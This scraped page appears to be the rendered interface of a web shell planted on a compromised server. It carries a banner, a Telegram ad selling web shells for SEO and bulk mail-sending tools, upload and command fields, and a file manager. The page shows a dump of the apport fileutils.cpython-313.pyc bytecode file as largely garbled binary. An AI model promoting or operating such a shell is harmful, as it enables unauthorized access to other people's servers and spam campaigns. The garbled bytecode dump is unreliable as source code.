__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

rmh�Y���SrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSK	r	SSK
r
SSKrSSKrSSK
r
SSKrSSKrSSKrSSKJr SSKJr SSKJr \
R0R3SS5r\
R0R3SS	5rS
rSrSr"S
S\R>R@5r!Sr"Sr#Sr$Sr%S\&S\&S-4Sjr'Sr(S\&S\)4Sjr*S\&SS4Sjr+S\S\,SS4Sjr-S\&SS4Sjr.\R^"S5r0S\RbS\2\&\&44Sjr3\RhS\2\&\&44S j5r5S\,4S!jr6S\,4S"jr7S\8\&4S#jr9S\8\&4S$jr:S\8\&4S%jr;S\8\&4S&jr<S\&SS4S'jr=S\\>S\,4S(jr?S\S)\&SS4S*jr@SDS\S+\,\&-S-S\\>4S,jjrAS-\&S\8\&4S.jrB\RhS/\&S\R�4S0j5rDSES1jrES2\&S\,4S3jrFS2\&S\G\,S-\,S-44S4jrHS5\\&S+\,S\)4S6jrIS\&4S7jrJS8\,S\2\&\&44S9jrKSDS8\,S-S\&4S:jjrLSFS\,S-S;\&S-S+\,S-S<\,S-S8\,S-S\G\&\&44S=jjrMS>rNS+\,SS4S?jrOS/\&S\2\&\&44S@jrPS\S)\&S\&S-4SAjrQS/\&SB\&S\)4SCjrRg)Gz0Functions to manage apport problem report files.�N)�IO)�impl)�
ProblemReport�APPORT_REPORT_DIRz
/var/crash�APPORT_COREDUMP_DIRz/var/lib/apport/coredump�z~/.config/apport/settingsz/run/snapd.socketc� �\rSrSrSrSrSrg)�UHTTPConnection�/c�d�[RRRUS5 Xlg)N�	localhost)�http�client�HTTPConnection�__init__�path)�selfrs  �2/usr/lib/python3/dist-packages/apport/fileutils.pyr�UHTTPConnection.__init__0s!�����"�"�+�+�D�+�>��	�c��[R"[R[R5nURUR5 Xlg�N)�socket�AF_UNIX�SOCK_STREAM�connectr�sock)rrs  rr�UHTTPConnection.connect4s1���}�}�V�^�^�V�-?�-?�@�����T�Y�Y���	r)rrN)�__name__�
__module__�__qualname__�__firstlineno__rr�__static_attributes__�rrr
r
/s���rr
c��[R"S[R5(dg/SQn[R"U5S:H$![
a gf=f)z)Check whether crash reporting is enabled.z/usr/bin/whoopsieT)z/bin/systemctlz-qz
is-enabledz
whoopsie.pathrF)�os�access�X_OK�
subprocess�call�OSError)�cmds r�allowed_to_reportr-:sK��
�9�9�(�"�'�'�2�2���E�����s�#�q�(�(������s�A
�

A�Ac��U(dgURS5(dgSU;agSH
nX;dM
 g URS5n[U5S:wagUS$)z'Extract the socket from a DBus address.Nzunix:path=/run/user/z../)�%�,�;�=��)�
startswith�split�len)�	dbus_addr�search�partss   r�get_dbus_socketr;Fsh������� 6�7�7��
�	���"�����"�
�O�O�C� �E�
�5�z�Q�����8�Orc��UcgSn[R"U5H~nURS5(dMURS5(dURS5(dMIU(a g[	US5nSUR5;aUnSSS5 M� U$!,(df   M�=f![a M�f=f)z�Return a package's .desktop file.

If given package is installed and has a single .desktop file, return the
path to it, otherwise return None.
Nz.desktopz/etc/xdg/autostartz/usr/share/applications/�rbsNoDisplay=true)�	packaging�	get_files�endswithr5�open�read�FileNotFoundError)�package�desktopfile�line�fs    r�find_package_desktopfilerH`s�������K��#�#�G�,���=�=��$�$��?�?�#7�8�8����*�B�B����
��$��%��(�����8�&*��&�%�-�&��
&�%��%�
��
�s0�0B3�<B!�B3�!
B0	�+B3�0B3�3
C�Cc���/SQnSnUHnURU5(dMSn O U=(a3 URS5(+=(a URS5(+$)aCheck whether the given file is likely to belong to a package.

This is semi-decidable: A return value of False is definitive, a True value
is only a guess which needs to be checked with find_file_package().
However, this function is very fast and does not access the package
database.
)	z/bin/z/bootz/etc/z/initrdz/libz/sbin/z/optz/usr/z/varFTz/usr/local/z	/var/lib/)r5)�file�
pkg_allowlist�allowlist_match�is    r�likely_packagedrN�sc��
�M��O�
���?�?�1���"�O���
	�	-����
�.�.�	-�����,�,�rrJ�returnc�V�[RRU5up[RRU5n[RR	U5(a[RRX25n[
U5(dg[R"U5$)zSReturn the package that ships the given file.

Return None if no package ships it.
N)	r&rr6�realpath�isdir�joinrNr>�get_file_package)rJ�	directory�name�resolved_dirs    r�find_file_packagerX�sq�����
�
�d�+��Y��7�7�#�#�I�.�L�	�w�w�}�}�\�"�"��w�w�|�|�L�/���4� � ���%�%�d�+�+rc���[R"[[55nSU3nUR	SU5 UR5nURS:Xa0[R"UR55SsSSS5 $SSS5 g!,(df   g=f![RR[R[4a gf=f)zZReturn the data of the given snap.

Return None if the snap is not found to be installed.
z
/v2/snaps/�GET���resultN)�
contextlib�closingr
�SNAPD_SOCKET�request�getresponse�status�json�loadsrBrr�
HTTPException�JSONDecodeErrorr+)�snap�c�url�responses    r�	find_snaprk�s���
�
�
�
��� =�
>�!��t�f�%�C�
�I�I�e�S�!��}�}��H����#�%��z�z�(�-�-�/�2�8�<�?�
>�&�	?��?�
>���
�K�K�%�%�t�';�';�W�E����s5�#B(�AB�	B(�B(�
B%�!B(�%B(�(3C�C�reportc��[R"U5nURUR:�=(d URS:H$)zACheck whether the report file has already been processed earlier.r)r&�stat�st_atime�st_mtime�st_size)rl�sts  r�seen_reportrs�s/��	�����B��K�K�"�+�+�%�;�2�:�:��?�;rc��URSS5SS3nURSS5SS3n[RRU5(a�[RRU5(a\[R"U5n[R"U5nUR
UR
:a[R"U5 [USSS9 SSS5 g!,(df   g=f)	N�.r4rz.uploadz	.uploaded�a�utf-8��encoding)�rsplitr&r�existsrnrp�unlinkrA)rl�upload�uploaded�	report_st�	upload_sts     r�mark_report_uploadr��s����
�
�c�1�%�a�(�)��
1�F��-�-��Q�'��*�+�9�5�H�	�w�w�~�~�h���B�G�G�N�N�6�$:�$:��G�G�F�O�	��G�G�F�O�	����	� 2� 2�2��I�I�f��	
�f�c�G�	,��
-�	,�	,�s� C+�+
C9�pidc�8�SU;aUSRSS5nO[S5e[R"5nUS[	U5SUS3n[R
R
[U5n[USSS	9 SSS5 g!,(df   g=f)
N�ExecutablePath�/�_z1report does not have the ExecutablePath attributeruz.hangingrvrwrx)	�replace�
ValueErrorr&�geteuid�strrrS�
report_dirrA)rlr��subject�uid�basers      r�mark_hanging_processr��s����6�!��)�*�2�2�3��<���L�M�M�
�*�*�,�C��Y�a��C��z��3�%�x�0�D�
�7�7�<�<�
�D�)�D�	
�d�C�'�	*��
+�	*�	*�s�B�
Bc� �[R"U5n[R"XRURS-
45 g![a� SnUS:�a�[USS9nUR
S5 SSS5 O!,(df   O=f[R"U5nO![a gf=fURUR:�aO#[R"S5 US-nUS:�aM�US:Xa
[U5 ggf=f)zMark given report file as seen.r4�rrwrxNg�������?)r&rn�utimerpr+rArBro�time�sleep�
delete_report)rlrr�timeout�report_files    r�mark_report_seenr��s���	�����B�"�
����+�+�r�{�{�Q��7�8���"�
����k��f�w�/�;�� � ��#�0�/�/��
��W�W�V�_����
��
���{�{�R�[�[�(���J�J�s�O��q�L�G���k��a�<��&�!��'"�sS�/A�D
�$A?�6	D
�?
B
	�	D
�B(�'D
�(
B6�2D
�5B6�6?D
�7D
�D
zH^\s*(?P<name>[A-Z0-9_]+)\s+(?P<quote>[\"\']?)(?P<value>.*)(?P=quote)\s*$�linesc��0nUHCn[RU5nU(dM!URS5XRS5'ME U$)N�valuerV)�_LOGIN_DEFS_RE�match�group)r��defsrFr�s    r�_parse_login_defsr�sH��
�D����$�$�T�*����$)�K�K��$8��[�[��
 �!�	�
�Krc��[SSS9n[U5sSSS5 $!,(df   g=f![a 0s$f=f)z?Parse /etc/login.defs and return a dictionary with its content.z/etc/login.defsrwrxN)rAr�rC)�login_defs_files r�get_login_defsr�s;���
�#�g�
6�/�$�_�5�7�
6�
6�����	��s#�
2�!�	2�
/�2�2�A�Ac�\�[[5S5$![[4a gf=f)zBReturn maximum system group ID (SYS_GID_MAX from /etc/login.defs).�SYS_GID_MAX����intr��KeyErrorr�r$rr�get_sys_gid_maxr��1����>�#�M�2�3�3���j�!�������+�+c�\�[[5S5$![[4a gf=f)zAReturn maximum system user ID (SYS_UID_MAX from /etc/login.defs).�SYS_UID_MAXr�r�r$rr�get_sys_uid_maxr�"r�r�c��/n[R"[RR[S55Hwn[RRU5S:�aP[R"U[R[R-5(aURU5 MuMwMy U$![a M�f=f)zCReturn a list with all report files accessible to the calling user.�*.crashr)�globr&rrSr��getsizer'�R_OK�W_OK�appendr+��reports�rs  r�get_all_reportsr�*s����G�
�Y�Y�r�w�w�|�|�J�	�:�
;��	��w�w���q�!�A�%�"�)�)�A�r�w�w����7H�*I�*I����q�!�+J�%�<��N��	�	�
�	�s�A/B8�8
C�Cc��/n[5H'n[U5(dURU5 M'M) U$![a M:f=f)z�Get new reports for calling user.

Return a list with all report files which have not yet been processed
and are accessible to the calling user.
)r�rsr�r+r�s  r�get_new_reportsr�8sR���G�
�
��	��q�>�>����q�!�"���N��	�	�
�	�s�!:�
A�Ac��/n[5n[R"[RR	[
S55H�n[R"U5nURS:�aiURU::aW[R"UR5nURRS5(aM}URU5 M�M�M� U$![a N'f=f![a M�f=f)aGet all system reports.

Return a list with all report files which belong to a system user.
The maximum system user group ID is taken from SYS_UID_MAX from
/etc/login.defs (defaults to 999 on Debian based systems and LSB
specifies 499 in "User ID Ranges").
r�r�guest)r�r�r&rrSr�rnrq�st_uid�pwd�getpwuid�pw_namer5r�r�r+)r��sys_uid_maxr�rr�pws     r�get_all_system_reportsr�Js����G�!�#�K�
�Y�Y�r�w�w�|�|�J�	�:�
;��	������B��z�z�A�~�"�)�)�{�":�����b�i�i�0�B��z�z�,�,�W�5�5� �6�
���q�!�#;�~�<�$�N�� ������	�
�	�s7�	6C.�AC�C.�
C+�(C.�*C+�+C.�.
C<�;C<c�f�[5Vs/sHn[U5(aMUPM sn$s snf)a!Get new system reports.

Return a list with all report files which have not yet been processed
and belong to a system user. The maximum system user group ID is taken
from SYS_UID_MAX from /etc/login.defs (defaults to 999 on Debian based
systems and LSB specifies 499 in "User ID Ranges").
)r�rs)r�s r�get_new_system_reportsr�is'��.�/�F�/�!�{�1�~�A�/�F�F��Fs�.�.c��[R"U5 g![a: [USSS9nUR	S5 SSS5 g!,(df   g=ff=f)z�Delete the given report file.

If unlinking the file fails due to a permission error (if report_dir is not
writable to normal users), the file will be truncated to 0 bytes instead.
�wrwrxrN)r&r|r+rA�truncate)rlrGs  rr�r�tsJ���
�	�	�&�����
�&�#��
0�A�
�J�J�q�M�1�
0�
0�
0���s&��A�A
�A�

A	�A�Ac�H�[5nURUSSS/S9 [US5n[R"[R
"US55n[R"[R"55nXC-
S:�agU$![[4a gf=f)z�Return the number of recent crashes for the given report file.

Return the number of recent crashes (currently, crashes which happened more
than 24 hours ago are discarded).
F�CrashCounter�Date)�
key_filteri�Qr)	r�loadr�r��mktime�strptime�	localtimer�r�)rl�pr�count�report_time�cur_times     r�get_recent_crashesr��s���
��B��G�G�F�E�~�v�&>�G�?�	��B�~�&�'���k�k�$�-�-��6�
�";�<���;�;�t�~�~�/�0���!�I�-�������!����s�A,B�B�B!� B!�filenamec���[U5(dg[R"U[R[R-[R
-5n[R"U5n[R"UR5(a=[R"US5n[U5S-nSSS5 [W5US'gg!,(df   N=f)z/Increment the crash counter if report was seen.Nr=r4r�)
rsr&rA�
O_NOFOLLOW�O_RDONLY�
O_NONBLOCK�fstatrn�S_ISREG�st_mode�fdopenr�r�)rlr��fdrrrG�
crash_counters      r�increment_crash_counterr��s����x� � ��	����2�=�=�2�;�;�6����F�	G�B�	���"��B��|�|�B�J�J���
�Y�Y�r�4�
 �A�.�q�1�A�5�M�!�!$�]�!3��~�� �
 �
 �s�+C�
C r�c�<�SU;aUSRSS5nO*SU;aUSRSS5SnO[S5eUc[R"5n[R
R
[US	[U5S
35n[US5$)a#Construct a canonical pathname for a report and open it for writing.

If uid is not given, it defaults to the effective uid of the current
process. The report file must not exist already, to prevent losing
previous reports or symlink attacks.

Return an open file object for binary writing.
r�r�r��PackageNr4rz7report has neither ExecutablePath nor Package attributeruz.crash�xb)
r�r6r�r&r�rrSr�r�rA)rlr�r�rs    r�make_report_filer��s����6�!��)�*�2�2�3��<��	�f�	���#�)�)�$��2�1�5���R�S�S�
�{��j�j�l��
�7�7�<�<�
�w�i�q��S��
�&�$A�B�D���d��r�sumfilec	��[RRU5(de[R"SSU/S[R
[R
S0S9nURS:Xa/$/nURR5R5H?nURS5(dMURURSS	5S5 MA U$)
z�Check file integrity against md5 sum file.

sumfile must be md5sum(1) format (relative to /).

Return a list of files that don't match.
z/usr/bin/md5sumz-cFr�)�check�stdout�stderr�cwd�envr�FAILED�:r4)
r&rr{r)�run�PIPE�
returncoder��decode�
splitlinesr@r�rz)r��md5sum�
mismatchesrFs    r�check_files_md5r��s����7�7�>�>�'�"�"�"�"�
�^�^�	�D�'�*����������
�F����A���	��J��
�
�$�$�&�1�1�3���=�=��"�"����d�k�k�#�q�1�!�4�5�4��rrc��[R"SS9nSnSnSn[R"U[R[R
-5n[R"U5n[R"UR5(a([R"US5nURS5nUbUR5 OUb[R"U5 URU5 U$![a NMf=f!UbUR5 fUb[R"U5 ff=f![Ra U$f=f)N)�
interpolation�r�i�)�configparser�ConfigParserr&rAr�r�r�rnr�r�r�rBr+�close�read_string�MissingSectionHeaderError)r�config�contentsr�rGrrs      r�_get_config_parserr�s��
�
&�
&�T�
:�F��H�	
�B��A�
�
�W�W�T�2�=�=�2�;�;�6�
7��
�X�X�b�\���<�<��
�
�#�#��	�	�"�c�"�A��v�v�c�{�H�
�=�
�G�G�I�
�^��H�H�R�L�
����8�$��M���
��
��
�=�
�G�G�I�
�^��H�H�R�L���
�1�1�
���M�
�s6�BC6�#D9�6
D�D�D�D�0D6�9E�Ec�V�U(dB[R"[R"55Sn[RSU5n[
U5nU(aURX5$URX5$![R[R4a Us$f=f)z�Return a setting from user configuration.

This is read from ~/.config/apport/settings or path. If bool is True, the
value is interpreted as a boolean.

Privileges may need to be dropped before calling this.
r�~)r�r�r&r��_config_filer�r�
getboolean�getr��
NoOptionError�NoSectionError)�section�setting�defaultr�boolean�homedirrs       r�
get_configr�s�����,�,�r�z�z�|�,�Q�/���#�#�C��1��
��
%�F����$�$�W�6�6��z�z�'�+�+���&�&��(C�(C�D�����s�A?�.A?�?&B(�'B(rc�f�XRS5S-Sn[UR5S5$)z7Extract the starttime from the contents of a stat file.�)r3N�)�rfindr�r6)r�strippeds  r�
get_starttimer
s4�����s�+�a�/�1�2�H��x�~�~���#�$�$rc��SnSnUR5H�nURS5(a;[UR55S:�a[	UR5S5nMTURS5(dMl[UR55S:�dM�[	UR5S5nM� X4$)z;Extract the uid and gid from the contents of a status file.NzUid:r4zGid:)r�r5r7r6r�)r�real_uid�real_gidrFs    r�get_uid_and_gidrs����H��H��#�#�%���?�?�6�"�"�s�4�:�:�<�'8�1�'<��4�:�:�<��?�+�H�
�_�_�V�
$�
$��T�Z�Z�\�):�Q�)>��4�:�:�<��?�+�H�&�
��r�mapfdc��UHUnUR5n[U5S:waM$[US5nU[US5-nXAs=::a
U::dMQ g MW g)zSearch for an ID in a map fd.�r4r3TF)r6r7r�)rr�rF�fields�
host_start�host_ends      r�
search_mapr!$s]����������v�;�!�������^�
���F�1�I��.���(��(��)��rc��[SSS9nUR5R5nSSS5 U$!,(df   W$=f)zGet the kernel boot id.z/proc/sys/kernel/random/boot_idrwrxN)rArB�strip)rG�boot_ids  r�get_boot_idr%4s;��	
�/�'�	B�a��&�&�(�.�.�"��
C��N�
C�	B��N�s	�4�
A�proc_pid_fdc	�^�S[[R[-S[S[4U4Sjjn[	SSSUS9nUR5R
S	5nS
S
S
5 W(d0$[URS5Vs/sHnSU;dMURSS
5PM sn5$!,(df   NZ=fs snf)z�Get the process environ from a proc directory file descriptor.

Raises an OSError in case the environ file could not been read.
r�flagsrOc�.>�[R"XTS9$�N��dir_fd�r&rA�rr(r&s  �r�opener�#get_process_environ.<locals>.openerA�����w�w�t�;�7�7r�environrwr�)ry�errorsr/z N�r2r4)	r�r&�PathLiker�rArB�rstrip�dictr6)r&r/�
environ_fdr2�entrys`    r�get_process_environr:;s����8�S�2�;�;�s�+�+�8�C�8�C�8�
��G�I�f�
�	��/�/�#�*�*�5�1��
�
��	��'�-�-��2E�V�2E���PU��$����S�!�$�2E�V�W�W�
�
��Ws� B4�	
C�C�4
Cc�V�Ucg[R"SUS9$![a gf=f)z;Get the process path from a proc directory file descriptor.�unknown�exer+)r&�readlinkr+)r&s r�get_process_pathr?Ns3�������{�{�5��5�5������s��
(�(r=�	timestampc
�L^�S[[R[-S[S[4U4SjjnUb>Uc;TbSnOSUS3n[	US	US
9nUR5nSSS5 [
W5nUc[T5nURSS5RS
S5nUc[R"5nUcSUS
US
[5S3n	OSUS
US
[5S
US
U3
n	[RR[U	5n
X�4$!,(df   N�=f)zGet the path to a core file.rr(rOc�.>�[R"XTS9$r*r-r.s  �rr/�get_core_path.<locals>.openerar1rNrnz/proc/z/statrw)ryr/r�r�ruzcore.z.unknown.unknown)r�r&r5r�rArBrr?r��getuidr%rrS�core_dir)r�r=r�r@r&r/�
stat_filename�	stat_file�
stat_contents�	core_name�	core_paths    `      r�
get_core_pathrKXs'���8�S�2�;�;�s�+�+�8�C�8�C�8���9�,��"�"�M�$�S�E��/�M�
�-�'�&�
A�Y�%�N�N�,�M�B�!�-�0�	�
�{��{�+��

�+�+�c�3�
�
'�
'��S�
1�C�
�{��i�i�k���{��C�5��#��a��
��6F�G�	��C�5��#��a��
��a��u�A�i�[�I�	������X�y�1�I��!�!�)B�
A�s�D�
D#c��[U5n/n/n[RR[5(a[R
"[S9nUHqnUR
S5SU:XaU[RR[RR[U55nURX4/5 MqMs U$![[4a M�f=f)z�Search the core file directory for files that belong to a
specified uid. Returns a list of lists containing the filename and
the file modification time.
)rrur3)r�r&rr{rE�listdirr6�getmtimerSr��
IndexErrorrC)r��
core_files�	uid_filesrG�core_file_times     r�find_core_files_by_uidrS�s���
�c�(�C��J��I�	�w�w�~�~�h����Z�Z�X�.�
�
��	��w�w�s�|�A��#�%�!#���!1�!1�"�'�'�,�,�x��2K�!L��� � �!�!4�5�&������-�.�	��	�s�A+C	�	C�Cc�r�[U5n[U[R"S5S9n[	U5[
S-
:�ax[
[	U5[
-
S-5HUn[R"[RR[USS55 URUS5 MW gg)z]Remove old files from the core directory if there are more than
the maximum allowed per uid.
r4)�keyrN)rS�sorted�operator�
itemgetterr7�max_corefiles_per_uid�ranger&�removerrSrE)r�rQ�sorted_filesr�s    r�clean_core_directoryr]�s���'�s�+�I��)��)<�)<�Q�)?�@�L��9�~�-��1�1��s�9�~�(=�=��A�B�A��I�I�b�g�g�l�l�8�\�!�_�Q�-?�@�A�����Q��0�C�2rc�:�0n[R"SU/[R[RSS9nURceURHmnURSS5upEUR5nSU;aM0UR5SR5nURS	5(aMiXQU'Mo URR5 SSS5 WRS:wa0$U$![a M�f=f!,(df   N3=f)
z�Get libraries with which the specified binary is linked.

Return a library name -> path mapping, for example 'libc.so.6' ->
'/lib/x86_64-linux-gnu/libc.so.6'.
�lddT)r�r��universal_newlinesNz=>r4z
linux-vdsor�()r)�Popenr��STDOUTr�r6r�r#r5r�r�)r�libsr_rFrV�rests      r�shared_librariesrf�s���D�	�	�	�	��
����� � ��	
�


��z�z�%�%�%��J�J�D�
�!�Z�Z��a�0�
���:�:�<�D��t�#���:�:�<��?�(�(�*�D����s�#�#����J��	�
�
����-
�0�~�~����	��K��!�
��
��
�
�s0�D�C;�,A3D�;
D	�D�D	�	D�
Dc���[US5nUS:�aSUS3$[RRU5(a[
U5(dSUS3$g![[4a SnN[f=f)	z�Check if the crash should be skipped for flood protection.

In case the crash should be skipped return a string with the reason.
Otherwise return None.
r�rr4z this executable already crashed z times, ignoringzreport z< already exists and unseen, skipping to avoid disk usage DoSN)r�r�r�r&rr{rs)rlr�r�s   r�should_skip_crashrh�s�����F�>�2�3�
��q��1�-��@P�Q�Q�	�w�w�~�~�h����H�(=�(=��h�Z� 0�
1�	
���
�j�!���
��s�A�A,�+A,�libc�n�[U5nX;agUHnURUS35(dM g g)z�Check if the binary at path links with the library named lib.

path should be a fully qualified path (e.g. report['ExecutablePath']),
lib may be of the form 'lib<name>' or 'lib<name>.so.<version>'
Tz.so.F)rfr5)rrird�
linked_libs    r�links_with_shared_libraryrl�s?���D�!�D�
�{���
�� � �C�5���.�.���rr)NNF)NNNNN)S�__doc__r�r]�	functoolsr��http.clientr�iorcrWr&r��rerrnr)r��typingr�apport.packaging_implrr>�problem_reportrr2rr�rErYrr_rrr
r-r;rHrNr�rXrk�boolrsr�r�r�r��compiler��
TextIOWrapperr7r��cacher�r�r��listr�r�r�r�r��bytesr�r�r�r�r�rrr�tuplerr!r%r:r?rKrSr]rfrhrlr$rr�<module>r|s���6������	���	�
�	�
�����3�(�
�Z�Z�^�^�/��
>�
�
�:�:�>�>�/�1K�L����*��"���d�k�k�0�0��	��4�B�B,�C�,�C�$�J�,�"�"<��<��<�

�s�

�t�

�

��

�S�

�T�

�"�S�"�T�"�:���O���
�R�-�-��$�s�C�x�.�������S�#�X�������������c�����c���$��S�	��>G��S�	�G�
�#�
�$�
��r�%�y��S��(
4�M�
4�S�
4�T�
4��]���s��T�1A��R�PU�Y��.�S��T�#�Y��:����S��\�%>�%>����8�.%�C�%�C�%� �c� �e�C�$�J��d�
�,B�&C� �
�b��g�
�C�
�D�
� �S��X�S�X�T�#�s�(�^�X�&�#��*������� �"�%"�	�t��%"�	�t��%"�

�t��%"��T�z�	%"�
�t��%"��3��8�_�
%"�P�,1�c�1�d�1�"�3�"�4��S��>�"�J�m��s��s�T�z��*�C��c��d�r

Filemanager

Name Type Size Permission Actions
REThread.cpython-313.pyc File 2.85 KB 0644
__init__.cpython-313.pyc File 954 B 0644
crashdb.cpython-313.pyc File 34.04 KB 0644
fileutils.cpython-313.pyc File 31.92 KB 0644
hookutils.cpython-313.pyc File 47.15 KB 0644
logging.cpython-313.pyc File 2.97 KB 0644
packaging.cpython-313.pyc File 14.2 KB 0644
report.cpython-313.pyc File 82.55 KB 0644
sandboxutils.cpython-313.pyc File 12.43 KB 0644
ui.cpython-313.pyc File 87.14 KB 0644
user_group.cpython-313.pyc File 1.81 KB 0644
Filemanager